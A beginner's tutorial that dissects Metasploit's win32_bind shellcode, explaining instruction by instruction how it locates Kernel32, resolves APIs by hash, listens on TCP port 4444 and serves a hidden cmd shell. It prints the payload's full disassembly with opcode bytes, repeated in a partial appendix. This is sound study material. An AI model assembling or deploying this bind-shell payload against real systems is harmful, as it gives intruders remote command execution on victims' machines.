
 

 

 

 

 

 

 

 

 

 

 

 
Win32_bind 
Shellcode review 

  

This PDF gives a 

description of how 

Metasploit’s win32_bind 

shellcode operates. 

It’s aimed at people with 

little experience in the 

area, perhaps those who 

are just starting out writing 

shellcode. 

Those with SRE experience 

won’t find anything new or 

exciting here. 

I should also mention that 

this isn’t an OllyDbg or 

software exploitation 

guide.  Knowledge of how 

to get your shellcode into 

memory and inspect it is 

assumed. 

So if you’re here to learn 

about shellcode, let’s go! 

 

 

 

 

The version of win32_bind is 

correct as of November 2015.  

The shellcode may have been 

updated since.  All credit for this 

shellcode goes to the Metasploit 

team, I didn’t write any of it. 

Revision: 2067 
OS/CPU: win32/x86 
Size: 317 bytes 
 
cpt_gibbon 

WHAT IS THIS? 



 

 

Overview 
Our journey begins when the flow of execution lands on byte 0x0000 of our win32_bind shellcode, in 

a Windows OS on x86 architecture.  How it got there is incidental, how EIP was hijacked is not 

important.  The contents of the general purpose & flags registers is unknown to us and we are 

making only three assumptions: 

1) The segment register FS remains unmolested 

2) The stack pointer ESP points somewhere writable 

3) Kernel32.dll was the second module to be initialised 

 

 

 

 

 

 

The purpose of win32_bind is to listen on a given port for a TCP connection then serve the 

connecting host a Windows cmd shell. 

I’ll split this process into several parts to make it more manageable: the prologue, a replacement for 

GetModuleHandle, a custom GetProcAddress implementation, getting a socket and listening on it, 

serving the cmd shell and finally clearing up after itself. 

Here goes… 

 

Prologue 
The prologue is 9 bytes long and consists of the following: 

 

 

 

 

 

The CLD instruction clears what’s called the direction flag.  This flag determines the direction that 

some operations proceed in, typically whether they increment or decrement a counter and/or 

source/destination address after each iteration.  We’ll see later why this is important. 

 

  

 

 
0x0000 FC   CLD 
0x0001 6A EB   PUSH -15 
0x0003 4D   DEC EBP 
0x0004 E8 F9FFFFFF  CALL 0x0002 
 

Prologue 

Whilst the contents of the FS & ESP registers are 

unlikely to have been modified during your average buffer 

overflow exploit, we’ll see in a moment that the third 

assumption may not be the case on versions of Windows 7 

and higher. 

You’ll very infrequently catch the direction flag set, but it 

makes this shellcode more portable at the expense of one byte. 



 

 

The next two instructions may be thought of as EB 4D (JMP 77 bytes forward) with a 6A placed in 

front, converting them to benign commands that won’t take the jump on first pass, or cause any 

other undesired results.  This needs some explaining, so bear with me.

 

The purpose of the CALL instruction at 0x0004 is to save the address below it onto the stack so that 

it can be used later.  The code between the CALL 0x0002 instruction and the RETN instruction at 

0x0050 forms a function that is called by the shellcode multiple times, it is therefore pertinent to 

save its starting address (remembering that a CALL acts like a PUSH EIP followed by a JMP). 

CALL instructions made like this use four bytes (in a 32 bit system such as this) as an offset at which 

execution should continue, in this case 0xFFFFFFF9 (operands are displayed in reverse order in the 

opcode column, indeed they are stored this way in memory).  So the plan here is to use a CALL to 

save the address of a useful function onto the stack and continue execution at 0x0051 where we can 

use that address later again and again. 

 

Now you may or may not have noticed two things; the first is that 0xFFFFFFF9 seems like an awfully 

large number to be an offset to seven bytes back (CALLs & JMPs are made relative to the byte after 

their opcodes) and the second is “why don’t we just CALL 72 bytes forward instead of calling back 

seven bytes then JMPing forward 77 bytes?”. 

The reason for the first point is that the two’s complement number system is in use here to 

represent negative numbers, if you want to learn more I suggest the Wikipedia article as a starting 

point.  The second point follows on from this in the sense that we are restricted to using four or 

more bytes to represent an offset using the CALL instruction, but we can use just one with the EB 

variant of the JMP instruction.  If we wanted to call forward to the same location we’d have to use 

E8 00000047 which contains three null bytes, something shellcoders tend to want to avoid. 

https://en.wikipedia.org/wiki/Two%27s_complement


 

 

GetModuleHandle Replacement 
This phase starts at offset 0x0051 and its purpose is to find the base address of Kernel32.dll in 

memory.  From there it will be able to use the function I mentioned in Prologue to search for other 

useful functions in the DLL and progress towards its goal.  Unsurprisingly this code emulates the 

operation of the GetModuleHandle function from Kernel32.dll, though since we haven’t found 

Kernel32 yet we must use this implementation.  Check out the MSDN page for more information. 

 

 

 

 

 

 

 

We see EBX being zeroed so no null bytes are used in the next instruction.  At 0x0053 the FS 

segment register (which as we’ve assumed, points to the TIB/TEB) is dereferenced, plus 30h bytes.  

At offset 0x30 of the TIB is the address of the PEB.  You can find information on these structures 

below. 

 

 

 

 

 

 

 

At offset 0x0C of the PEB is a pointer to the PEB_LDR_DATA structure, a Windows OS structure 

containing information about the current process’s loaded modules.  We can see its address being 

moved into EAX at 0x0057. 

 

 

 

 

 

We won’t dwell too much on the layout of the TIB & PEB, they contain much superfluous 

information and some versions of the PEB can be up to ~580 bytes in size!  We will however take a 

closer look at the PEB_LDR_DATA structure. 

 
0x0051 31DB   XOR EBX,EBX 
0x0053 64:8B43 30  MOV EAX,DWORD PTR FS:[EBX+30] 
0x0057 8B40 0C  MOV EAX,DWORD PTR DS:[EAX+C] 
0x005A 8B70 1C  MOV ESI,DWORD PTR DS:[EAX+1C] 
0x005D AD   LODS DWORD PTR DS:[ESI] 
0x005E 8B40 08  MOV EAX,DWORD PTR DS:[EAX+8] 
0x0061 5E   POP ESI 
 

GetModuleHandle 

TIB/TEB stands for Thread Information/Environment Block.  

It’s a Windows data structure that stores information about the 

currently running thread.  For more information visit the 

Wikipedia page but for our purposes it’s enough to know that it 

can be reliably found using the FS register and that offset 0x30 

holds a pointer to the PEB. 

The PEB (Process Environment Block) is another Windows 

data structure we can reliably traverse to find information.  You 

can check out a breakdown of the structure in different versions 

of Windows here. 

https://msdn.microsoft.com/en-us/library/windows/desktop/ms683199(v=vs.85).aspx
https://en.wikipedia.org/wiki/Win32_Thread_Information_Block
https://en.wikipedia.org/wiki/Win32_Thread_Information_Block
http://blog.rewolf.pl/blog/wp-content/uploads/2013/03/PEB_Evolution.pdf
http://blog.rewolf.pl/blog/wp-content/uploads/2013/03/PEB_Evolution.pdf


 

 

PEB_LDR_DATA contains three starting points to a doubly linked list of loaded modules.  One of the 

starting points lists the modules in the order they were loaded, the second lists them in the order 

they reside in memory, but the third and most interesting to us lists them in the order they were 

initialised.  The initialisation order of modules in Windows is quite predictable (at least when it 

comes to the vital DLLs that more or less every process needs to run).  Msvcrt will import functions 

from Kernel32 which will import functions from ntdll.  This leads to the general rule that ntdll will be 

initialised first, kernel32 second etc. 

 

 

 

 

 

Each object these starting points link to (called a LDR_MODULE) contains information about that 

module, including its base address which is what we’re after.  Below is a simplified visualisation of 

what we’re dealing with: 

 

As you can see, the init order link in PEB_LDR_DATA points to the first module to be initialised 

(module 2 in this case), which in turn points to the second etc.  Since we’re trusting that Kernel32 

was initialised second we’ll follow the first .flink (shorthand for forward link) and use an offset to the 

address it points at to grab the base address of Kernel32.  At 0x005E we’re doing just that, adding 

08h to the position of that second green .flink to find our desired address.  If this wasn’t very clear, 

here is a great link for understanding more about this structure, including why that first .flink in init 

order is still blue. 

At this point the base address of Kernel32 resides in EAX and can be used in the next phase.  It’s also 

worth noting that the POP ESI instruction at 0x0061 is storing the address of the custom 

GetProcAddress function that was pushed by the CALL in Prologue, also for use in the next phase. 

Before we continue with the actual order of execution however, we’ll take a look at the custom 

GetProcAddress function I just mentioned as it will be called several times in the remainder of this 

shellcode. 

 

In Windows 7 and above KernelBase will be initialised 

second and Kernel32 will be third in init order.  This shellcode will 

fail on Windows 7 + unless you modify it * 

http://sandsprite.com/CodeStuff/Understanding_the_Peb_Loader_Data_List.html


 

 

Custom GetProcAddress 
The function I told you about that resides below the CALL in Prologue is a custom interpretation of 

GetProcAddress which takes two arguments: 

1) The address of the module to be searched. 

2) A hash of the function name to be resolved. 

The reason hashes are used to search for a function is that they’re shorter than using the full 

function name, saving space in the shellcode. 

This function could be used to determine the location of the actual GetProcAddress but since we 

have the code already available here which has the added advantage of using hashes there’s no 

need. 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

The state of the general purpose registers is saved and the first argument (base of module to be 

searched) is placed into EBP (ESP + 24h = ESP + 36 bytes = 32 for GP registers & 4 for ret).  At offset 

0x3C from the base of the DLL is the RVA (Relative Virtual Address) of the PE header (DLLs aren’t 

dissimilar to PE files) which is loaded into EAX. 

 
0x0009 60   PUSHAD 
0x000A 8B6C24 24  MOV EBP,DWORD PTR SS:[ESP+24] 
0x000E 8B45 3C  MOV EAX,DWORD PTR SS:[EBP+3C] 
0x0011 8B7C05 78  MOV EDI,DWORD PTR SS:[EBP+EAX+78] 
0x0015 01EF   ADD EDI,EBP 
0x0017 8B4F 18  MOV ECX,DWORD PTR DS:[EDI+18] 
0x001A 8B5F 20  MOV EBX,DWORD PTR DS:[EDI+20] 
0x001D 01EB   ADD EBX,EBP 
0x001F 49   DEC ECX 
0x0020 8B348B  MOV ESI,DWORD PTR DS:[EBX+ECX*4] 
0x0023 01EE   ADD ESI,EBP 
0x0025 31C0   XOR EAX,EAX 
0x0027 99   CDQ 
0x0028 AC   LODS BYTE PTR DS:[ESI] 
0x0029 84C0   TEST AL,AL 
0x002B 74 07   JE SHORT 0x0034 
0x002D C1CA 0D  ROR EDX,0D 
0x0030 01C2   ADD EDX,EAX 
0x0032 EB F4   JMP SHORT 0x0028 
0x0034 3B5424 28  CMP EDX,DWORD PTR SS:[ESP+28] 
0x0038 75 E5   JNZ SHORT 0x001F 
0x003A 8B5F 24  MOV EBX,DWORD PTR DS:[EDI+24] 
0x003D 01EB   ADD EBX,EBP 
0x003F 66:8B0C4B  MOV CX,WORD PTR DS:[EBX+ECX*2] 
0x0043 8B5F 1C  MOV EBX,DWORD PTR DS:[EDI+1C] 
0x0046 01EB   ADD EBX,EBP 
0x0048 032C8B  ADD EBP,DWORD PTR DS:[EBX+ECX*4] 
0x004B 896C24 1C  MOV DWORD PTR SS:[ESP+1C],EBP 
0x004F 61   POPAD 
0x0050 C3   RETN 
 

GetProcAddress 

https://msdn.microsoft.com/en-us/library/windows/desktop/ms683212(v=vs.85).aspx


 

 

This is added to EBP again to get the actual address of the PE header and 78h is also added in the 

same operation which results in EDI holding the RVA of the export directory.  EBP is again added to 

this so EDI holds the actual address of the export directory. 

 

 

 

 

 

 

ECX is loaded with the value at the export directory + 18h, which is the number of entries in the ENT 

(Export Name Table).  EBX is loaded with the RVA of the ENT itself, to which EBP is added again to 

make EBX hold the actual address of the ENT. 

Next follows a loop starting at 0x001F which counts down through the ENT entries using ECX.  For 

each function name it finds, the name is hashed until a null byte is reached then the resulting hash is 

checked against the one provided to the function earlier. 

If a match is found; EBX is loaded with the RVA, then the actual address of the EOT (export ordinal 

table) the entries of which are 16 bits long.  CX is loaded with the corresponding ordinal position of 

the desired function.  EBX is then loaded with the address of the EAT (Export Address Table).  EBP is 

loaded with the address of the desired function by using the values in EBX & ECX.  The value of EAX 

on the stack from the PUSHAD instruction earlier is replaced with this EBP value so when we POPAD 

EAX will now hold the address of the desired function. 

 

Hopefully the graphic above will make things a little clearer.  We search for a function by name in 

the array labelled above as Function Names, once we find the name we’re looking for we use the 

same offset that name resides at in FunctionNames[] to look up the ordinal number of the function.  

So if we wanted to find Foo(), we’d search Function Names until we found the string “Foo” at 

FunctionNames[2].  We’d then look up the number at FunctionOrdinalNumbers[2] (which in this 

case happens to be 6).  Finally we’d use that number as an offset into Function Addresses to grab the 

address of Foo() at FunctionAddresses[6]. 

We’ve got to deal with some more Windows structures 

here and as before the majority of information they hold is of 

little interest to us.  A breakdown of the PE header structure can 

be found here, a good description of how the export directory 

works resides here and you may find this StackOverflow answer 

informative if you’d like to know what an RVA is. 

http://bbs.pediy.com/upload/bbs/unpackfaq/ARTeam%20PE_appendix1_offsets.htm
http://bbs.pediy.com/upload/bbs/unpackfaq/ARTeam%20PE_appendix1_offsets.htm
http://resources.infosecinstitute.com/the-export-directory/
http://resources.infosecinstitute.com/the-export-directory/
http://stackoverflow.com/questions/2170843/va-virtual-adress-rva-relative-virtual-address
http://stackoverflow.com/questions/2170843/va-virtual-adress-rva-relative-virtual-address


 

 

This process is called several times during the operation of the shellcode to find exported functions 

in their parent modules.  This is what is happening when we see PUSH <Hash>, PUSH <Module 

Base>, CALL ESI.  EAX will hold the address of the function whose hash we pushed onto the stack 

when it returns. 

 

Getting a Socket 
The meat of the shellcode uses the custom GetProcAddress code described above to find the 

address of useful functions then calls them to achieve its goal of binding a cmd shell to port 4444. 

The next set of instructions, starting at 0x0062 will find the LoadLibrary function and use it to ensure 

the WS2_32 module is available to this process. 

 

 

 

 

 

 

 

 

The hash of LoadLibrary is pushed, then so is EAX (holding the address of Kernel32, the module we’ll 

be searching for this function).  Then custom GetProcAddress is called, after which the address of 

LoadLibrary() will reside in EAX.  At 0x006A BX is pushed to be used as a null terminator, then the 

characters “ws2_32” are pushed and finally so is ESP.  LoadLibrary takes a string as its argument, this 

is what the value of ESP is providing here.  At 0x0076 LoadLibrary is called and will return a handle to 

our requested module (WS2_32) in EAX.  Even if the module is already loaded, its reference count 

will simply be increased and we’ll get the same handle back. 

According to MSDN we now have to initialise the use of the WS2_32 DLL.  We do this by calling 

WSASTARTUP(), which takes two arguments: A minimum version number & a pointer to a WSADATA 

structure that it will write some information to. 

 

 

 
0x0062 68 8E4E0EEC  PUSH EC0E4E8E 
0x0067 50   PUSH EAX 
0x0068 FFD6   CALL ESI 
0x006A 66:53   PUSH BX 
0x006C 66:68 3332  PUSH 3233 
0x0070 68 7773325F  PUSH 5F327377 
0x0075 54   PUSH ESP 
0x0076 FFD0   CALL EAX 
 

 

LoadLibrary 

The reason we’re looking for the WS2_32 module is because it will provide much of 

the functionality needed for accepting a network connection from a remote host.  After 

initialising the use of the DLL, the shellcode essentially follows the steps listed here on 

MSDN. 

https://msdn.microsoft.com/en-us/library/windows/desktop/bb530742(v=vs.85).aspx
https://msdn.microsoft.com/en-us/library/windows/desktop/bb530742(v=vs.85).aspx


 

 

We can see in the code below the usual pattern of the function name hash being pushed 

(WSASTARTUP) and the address of the module to search (EAX now holds the address of the WS2_32 

module) then the call to custom GetProcAddress.  At 0x0080 the address of WS2_32 is popped off 

the stack and into EDI for use in the next function search (EAX has been overwritten with the 

address of WSASTARTUP). 

 

 

 

 

 

 

 

 

The space for a WSADATA structure is allocated on the stack (since we have no other reliable 

address space to use).  The structure itself takes up 400 bytes but you can see it is allocated 520 

bytes above our current position; this is stop writes to the structure interfering with the stack frame 

of the function that’s writing to it.  Even at this lower address it will be overwritten and indeed stack 

frames already reside above it during the call to WSAStartup, but its contents are not needed and 

provided writing to it does not interfere with the operation of WSAStartup then it doesn’t matter. 

Once WSAStartup has completed the shellcode needs to request a socket to allow it to send/receive 

data over a network.  Using the usual pattern we resolve WSASocket(): 

 

 

 

 

 

 

 

 

 

 

 

The call to WSASocket takes six arguments, but as you can see here we push seven dwords before 

calling it.  The reason for the extra PUSH EBX after CALL ESI will become apparent in the next call.   

 
0x0078 68 CBEDFC3B  PUSH 3BFCEDCB 
0x007D 50   PUSH EAX 
0x007E FFD6   CALL ESI 
0x0080 5F   POP EDI 
0x0081 89E5   MOV EBP,ESP 
0x0083 66:81ED 0802 SUB BP,208 
0x0088 55   PUSH EBP 
0x0089 6A 02   PUSH 2 
0x008B FFD0   CALL EAX 
 

 

 
0x008D 68 D909F5AD  PUSH ADF509D9 
0x0092 57   PUSH EDI 
0x0093 FFD6   CALL ESI 
0x0095 53   PUSH EBX 
0x0096 53   PUSH EBX 
0x0097 53   PUSH EBX 
0x0098 53   PUSH EBX 
0x0099 53   PUSH EBX 
0x009A 43   INC EBX 
0x009B 53   PUSH EBX 
0x009C 43   INC EBX 
0x009D 53   PUSH EBX 
0x009E FFD0   CALL EAX 

 

WSAStartup 

WSASocket 



 

 

The arguments for WSASocket are listen on MSDN.  We need to set no flags, perform no group 

operations, protocolInfo may be null and so may protocol; WSASocket will make sensible choices 

based solely on the type & address family fields that we provide.  Those fields are 01 for type, 

specifying SOCK_STREAM and 02 for address family, specifiying AF_INET.  The value of EBX at this 

point (0x00000002) is also used in the next section. 

On return from WSASocket, EAX will hold a descriptor referencing our new socket. 

We now want to bind this socket to a specific port, in this case 4444.  We’ll resolve and call bind() 

then pass it the appropriate arguments. 

 

 

 

 

 

 

 

 

 

 

Before we resolve bind() we push a sockaddr structure to the stack and save a pointer to it in ECX, 

we also swap the un-needed pointer to the WSADATA struct in EBP with the socket descriptor in EAX 

since we still need the socket descriptor and EAX will be clobbered when we call custom 

GetProcAddress in a moment. 

The minimum sockaddr structure must be at least 16 bytes (specified by the length argument 

pushed at 0x00B1) and starts with two bytes indicating the address family (in this case 0x0002 for 

AF_INET) then two more bytes indicating the port to bind to (0x5C11 = 4444).  The next 4 bytes will 

represent the IP address to bind to, we want this to be 0.0.0.0 to expose the bind shell to as many 

interfaces as possible but we don’t have any zeroed registers, this is what that extra PUSH EBX 

instruction was for at 0x0095.  The last 4 bytes can be null.  Our socket descriptor is also pushed 

before calling bind(). 

The next step will put the socket in a listening state, listen() is resolved by the usual means and takes 

two arguments: the length of the connection queue (we use EBX for this with its value of 

0x00000002) and our socket descriptor.  Pushing these arguments and calling listen() will place the 

socket in a listening condition. 

 
 

 

 
0x00A0 66:68 115C  PUSH 5C11 
0x00A4 66:53   PUSH BX 
0x00A6 89E1   MOV ECX,ESP 
0x00A8 95   XCHG EAX,EBP 
0x00A9 68 A41A70C7  PUSH C7701AA4 
0x00AE 57   PUSH EDI 
0x00AF FFD6   CALL ESI 
0x00B1 6A 10   PUSH 10 
0x00B3 51   PUSH ECX 
0x00B4 55   PUSH EBP 
0x00B5 FFD0   CALL EAX 
 

Bind 

The MSDN page on listen() can be found here. 

https://msdn.microsoft.com/en-us/library/windows/desktop/ms742212(v=vs.85).aspx
https://msdn.microsoft.com/en-us/library/windows/desktop/ms739168(v=vs.85).aspx
https://msdn.microsoft.com/en-us/library/windows/desktop/ms739168(v=vs.85).aspx


 

 

 

 

 

 

 

 

The next call will be to accept(), where the shellcode will wait for a connection on the allocated port.   

Accept() takes similar arguments to bind(), except it will write to two of the structures. 

Since we have no null values in the registers at this stage, to save instructions we simply push ESP 

twice since this provides a pointer to an integer (the item below on the stack, presently the address 

of accept() ) which indicates the size of the structure pointed to by the second pointer above it and is 

overwritten with the value of the actual size of the sockaddr output by accept().  This doesn’t matter 

since the second ESP to be pushed points to the value below it and is overwritten by the actual 

sockaddr struct written by accept() anyway. 

 
 

 

 

 

 

 

 

Once a connection has been established and accept() returns, EAX will contain a new socket 

descriptor that is ready to communicate with the connected host. 

 

 

 

 

 

 

 

The shellcode now closes the old socket.  Notice that the new socket handle is preserved in EBX.  

Closesocket() is then resolved and called using the old socket descriptor as its only argument. 

 

 
0x00B7 68 A4AD2EE9  PUSH E92EADA4 
0x00BC 57   PUSH EDI 
0x00BD FFD6   CALL ESI 
0x00BF 53   PUSH EBX 
0x00C0 55   PUSH EBP 
0x00C1 FFD0   CALL EAX 
 

 
0x00C3 68 E5498649  PUSH 498649E5 
0x00C8 57   PUSH EDI 
0x00C9 FFD6   CALL ESI 
0x00CB 50   PUSH EAX 
0x00CC 54   PUSH ESP 
0x00CD 54   PUSH ESP 
0x00CE 55   PUSH EBP 
0x00CF FFD0   CALL EAX 
 

Listen 

Accept 

The PUSH EAX instruction at 0x00CB ends up providing the 

length integer argument to this call, this is however unnecessary 

since the value below this will be the base address of the WS2_32 

module pushed at 0x00C8 which is also acceptable (as long as the 

value here represents an integer larger that 10h).  The shellcode 

will still function just fine if you remove this byte, just don’t 

forget to decrease the offset used at 0x0107 by 4 bytes! 



 

 

 

 

 

 

 

 

 

The next step is much larger and uses CreateProcess() to start a cmd instance whose stdin/out/err 

are attached to our new socket.  The usual steps are performed with the added requirement to 

create a couple of structures on the stack that will be read from and written to by CreateProcess(). 

You can follow along with the arguments detailed on the CreateProcess MSDN page. 

First the string “cmd” with a null terminator is pushed to the stack and a pointer to it saved in EBP, 

this will form the CommandLine argument.  Space is then allocated for the STARTUPINFO and 

PROCESSINFORMATION structures, totalling 80 bytes (64 for STARTUPINFO & 16 for 

PROCESSINFORMATION).  Next the size byte (and three other null bytes) of STARTUPINFO is pushed 

and a pointer to it saved in EDX. 

The allocated space is zeroed by the instruction at 0x00F2 which uses ECX as a counter and 

repeatedly writes the contents of EAX (zero after the instruction at 0x00F1) to the memory pointed 

to by EDI, increasing EDI by 4 each time.  Notice that after the call ESI, the new socket descriptor is 

not present in any register due to the XCHG EAX, EBX beforehand. 

Appropriate fields in the STARTUPINFO struct are populated along with its size byte: The two INC 

operations set the STARTF_USESHOWWINDOW & STARTF_USESTDHANDLES flags.  These allow us to 

change visible window attributes and redirect input/output respectively using other fields. 

Since the showwindow word is already zero (hide the window) we only need to populate the 

stdin/out/err fields that reside at the end of the STARTUPINFO struct, this is done by the three STOS 

commands and writes our socket descriptor to each field. 

Once CreateProcess() has been resolved (using the address of Kernel32 still on the stack from the 

LoadLibrary call earlier, pushed by the instruction at 0x0107) we pop the base of Kernel32 into EBX.  

EDI points to PROCESSINFORMATION and is pushed first, followed by EDX which points to our 

STARTUPINFO struct.  Everything else can be null (ECX which was zeroed by the REP STOS 

instruction) except for the InheritHandles bool (which must be set to allow the 

STARTF_USESTDHANDLES flag to work) and the CommandLine argument, which points to our “cmd” 

string from the beginning of this section. 

Once this has been called the connected host should receive a cmd shell! 

 
0x00D1 93   XCHG EAX,EBX 
0x00D2 68 E779C679  PUSH 79C679E7 
0x00D7 57   PUSH EDI 
0x00D8 FFD6   CALL ESI 
0x00DA 55   PUSH EBP 
0x00DB FFD0   CALL EAX 

CloseSocket 

https://msdn.microsoft.com/en-us/library/windows/desktop/ms682425(v=vs.85).aspx


 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

WaitForSingleObject is resolved next and its options are pushed: timeout interval (-1 indicating 

infinite in this case) & handle to process (EDI contains pointer to PROCESSINFORMATION struct, at 

the top of which is the handle).  This makes the cmd shell a little more robust by ensuring the parent 

process waits until it has finished. 

Once the process has signalled (hopefully caused by the remote host closing the connection) 

WaitForSingleObject returns and we continue onto the final clean-up stage. 

 

 

 

 

 
0x00DD 66:6A 64  PUSH 64 
0x00E0 66:68 636D  PUSH 6D63 
0x00E4 89E5   MOV EBP,ESP 
0x00E6 6A 50   PUSH 50 
0x00E8 59   POP ECX 
0x00E9 29CC   SUB ESP,ECX 
0x00EB 89E7   MOV EDI,ESP 
0x00ED 6A 44   PUSH 44 
0x00EF 89E2   MOV EDX,ESP 
0x00F1 31C0   XOR EAX,EAX 
0x00F2 F3:AA   REP STOS BYTE PTR ES:[EDI] 
0x00F5 FE42 2D  INC BYTE PTR DS:[EDX+2D] 
0x00F8 FE42 2C  INC BYTE PTR DS:[EDX+2C] 
0x00FB 93   XCHG EAX,EBX 
0x00FC 8D7A 38  LEA EDI,DWORD PTR DS:[EDX+38] 
0x00FF AB   STOS DWORD PTR ES:[EDI] 
0x0100 AB   STOS DWORD PTR ES:[EDI] 
0x0101 AB   STOS DWORD PTR ES:[EDI] 
0x0102 68 72FEB316  PUSH 16B3FE72  
0x0107 FF75 44  PUSH DWORD PTR SS:[EBP+44] 
0x010A FFD6   CALL ESI 
0x010C 5B   POP EBX 
0x010D 57   PUSH EDI 
0x010E 52   PUSH EDX 
0x010F 51   PUSH ECX 
0x0110 51   PUSH ECX 
0x0111 51   PUSH ECX 
0x0112 6A 01   PUSH 1 
0x0114 51   PUSH ECX 
0x0115 51   PUSH ECX 
0x0116 55   PUSH EBP 
0x0117 51   PUSH ECX 
0x0118 FFD0   CALL EAX 
 

CreateProcess 



 

 

 

 

 

 

 

 

 

Closesocket() is resolved and called on our current socket, closing it.  EDI still points to the start of 

our PROCESSINFORMATION structure, which resides directly below STARTUPINFO; the last word of 

which is our socket handle used for this connection.  Hence EDI – 4 at 0x0128 gives us the socket 

handle in EDX.  The arguments to custom GetProcAddress are found on the stack from the earlier 

call to the same function by adding 100 bytes (64h) to ESP at 0x012B. 

 

 

 

 

 

 

Once closesocket() has been resolved a second time, its only argument; a socket descriptor (held in 

EDX) is pushed and it is called. 

We finally call Kernel32.ExitProcess(), resolving it using the EBX register (EBX is still pointing at 

Kernel32 from the CreateProcess section) along with its hash.  The hash at this point may vary if the 

exitfunc parameter used to generate your shellcode with msfpayload was different.  ExitProcess() 

takes one argument; an unsigned int which is used as the exit code.  In this case we don’t push any 

arguments before calling EAX so the address of kernel32 acts as this integer. 

 
 

 

 

 

 

Total 317 bytes. 

 

 

 

 
0x011A 68 ADD905CE  PUSH CE05D9AD 
0x011F 53   PUSH EBX 
0x0120 FFD6   CALL ESI 
0x0122 6A FF   PUSH -1 
0x0124 FF37   PUSH DWORD PTR DS:[EDI] 
0x0126 FFD0   CALL EAX 
 

 
0x0128 8B57 FC  MOV EDX,DWORD PTR DS:[EDI-4] 
0x012B 83C4 64  ADD ESP,64 
0x012E FFD6   CALL ESI 
0x0130 52   PUSH EDX 
0x0131 FFD0   CALL EAX 
 

 
0x0133 68 7ED8E273  PUSH 73E2D87E 
0x0138 53   PUSH EBX 
0x0139 FFD6   CALL ESI 
0x013B FFD0   CALL EAX 
 

WaitForSingleObject 

CloseSocket 

ExitProcess 



 

 

Appendix 1: Full shellcode 
 

0x0000 FC   CLD 
0x0001 6A EB   PUSH -15 
0x0003 4D   DEC EBP 
0x0004 E8 F9FFFFFF  CALL 0x0002 

0x0009 60   PUSHAD 
0x000A 8B6C24 24  MOV EBP,DWORD PTR SS:[ESP+24] 
0x000E 8B45 3C  MOV EAX,DWORD PTR SS:[EBP+3C] 
0x0011 8B7C05 78  MOV EDI,DWORD PTR SS:[EBP+EAX+78] 
0x0015 01EF   ADD EDI,EBP 
0x0017 8B4F 18  MOV ECX,DWORD PTR DS:[EDI+18] 
0x001A 8B5F 20  MOV EBX,DWORD PTR DS:[EDI+20] 
0x001D 01EB   ADD EBX,EBP 
0x001F 49   DEC ECX 
0x0020 8B348B   MOV ESI,DWORD PTR DS:[EBX+ECX*4] 
0x0023 01EE   ADD ESI,EBP 
0x0025 31C0   XOR EAX,EAX 
0x0027 99   CDQ 
0x0028 AC   LODS BYTE PTR DS:[ESI] 
0x0029 84C0   TEST AL,AL 
0x002B 74 07   JE SHORT 0x0034 
0x002D C1CA 0D  ROR EDX,0D 
0x0030 01C2   ADD EDX,EAX 
0x0032 EB F4   JMP SHORT 0x0028 
0x0034 3B5424 28  CMP EDX,DWORD PTR SS:[ESP+28] 
0x0038 75 E5   JNZ SHORT 0x001F 
0x003A 8B5F 24  MOV EBX,DWORD PTR DS:[EDI+24] 
0x003D 01EB   ADD EBX,EBP 
0x003F 66:8B0C4B  MOV CX,WORD PTR DS:[EBX+ECX*2] 
0x0043 8B5F 1C  MOV EBX,DWORD PTR DS:[EDI+1C] 
0x0046 01EB   ADD EBX,EBP 
0x0048 032C8B   ADD EBP,DWORD PTR DS:[EBX+ECX*4] 
0x004B 896C24 1C  MOV DWORD PTR SS:[ESP+1C],EBP 
0x004F 61   POPAD 
0x0050 C3   RETN 
 
0x0051 31DB   XOR EBX,EBX 
0x0053 64:8B43 30  MOV EAX,DWORD PTR FS:[EBX+30] 
0x0057 8B40 0C  MOV EAX,DWORD PTR DS:[EAX+C] 
0x005A 8B70 1C  MOV ESI,DWORD PTR DS:[EAX+1C] 
0x005D AD   LODS DWORD PTR DS:[ESI] 
0x005E 8B40 08  MOV EAX,DWORD PTR DS:[EAX+8] 
0x0061 5E   POP ESI 
 
0x0062 68 8E4E0EEC  PUSH EC0E4E8E 
0x0067 50   PUSH EAX 
0x0068 FFD6   CALL ESI 
0x006A 66:53   PUSH BX 
0x006C 66:68 3332  PUSH 3233 
0x0070 68 7773325F  PUSH 5F327377 
0x0075 54   PUSH ESP 
0x0076 FFD0   CALL EAX 
 
 
 
 



 

 

 
0x0078 68 CBEDFC3B  PUSH 3BFCEDCB 
0x007D 50   PUSH EAX 
0x007E FFD6   CALL ESI 
0x0080 5F   POP EDI 
0x0081 89E5   MOV EBP,ESP 
0x0083 66:81ED 0802  SUB BP,208 
0x0088 55   PUSH EBP 
0x0089 6A 02   PUSH 2 
0x008B FFD0   CALL EAX 
 
0x008D 68 D909F5AD  PUSH ADF509D9 
0x0092 57   PUSH EDI 
0x0093 FFD6   CALL ESI 
0x0095 53   PUSH EBX 
0x0096 53   PUSH EBX 
0x0097 53   PUSH EBX 
0x0098 53   PUSH EBX 
0x0099 53   PUSH EBX 
0x009A 43   INC EBX 
0x009B 53   PUSH EBX 
0x009C 43   INC EBX 
0x009D 53   PUSH EBX 
0x009E FFD0   CALL EAX 

0x00A0 66:68 115C  PUSH 5C11 
0x00A4 66:53   PUSH BX 
0x00A6 89E1   MOV ECX,ESP 
0x00A8 95   XCHG EAX,EBP 
0x00A9 68 A41A70C7  PUSH C7701AA4 
0x00AE 57   PUSH EDI 
0x00AF FFD6   CALL ESI 
0x00B1 6A 10   PUSH 10 
0x00B3 51   PUSH ECX 
0x00B4 55   PUSH EBP 
0x00B5 FFD0   CALL EAX 

 

0x00B7 68 A4AD2EE9  PUSH E92EADA4 
0x00BC 57   PUSH EDI 
0x00BD FFD6   CALL ESI 
0x00BF 53   PUSH EBX 
0x00C0 55   PUSH EBP 
0x00C1 FFD0   CALL EAX 

 

0x00C3 68 E5498649  PUSH 498649E5 
0x00C8 57   PUSH EDI 
0x00C9 FFD6   CALL ESI 
0x00CB 50   PUSH EAX 
0x00CC 54   PUSH ESP 
0x00CD 54   PUSH ESP 
0x00CE 55   PUSH EBP 
0x00CF FFD0   CALL EAX 

 

 
 
 
 



 

 

 
0x00D1 93   XCHG EAX,EBX 
0x00D2 68 E779C679  PUSH 79C679E7 
0x00D7 57   PUSH EDI 
0x00D8 FFD6   CALL ESI 
0x00DA 55   PUSH EBP 
0x00DB FFD0   CALL EAX 

0x00DD 66:6A 64  PUSH 64 
0x00E0 66:68 636D  PUSH 6D63 
0x00E4 89E5   MOV EBP,ESP 
0x00E6 6A 50   PUSH 50 
0x00E8 59   POP ECX 
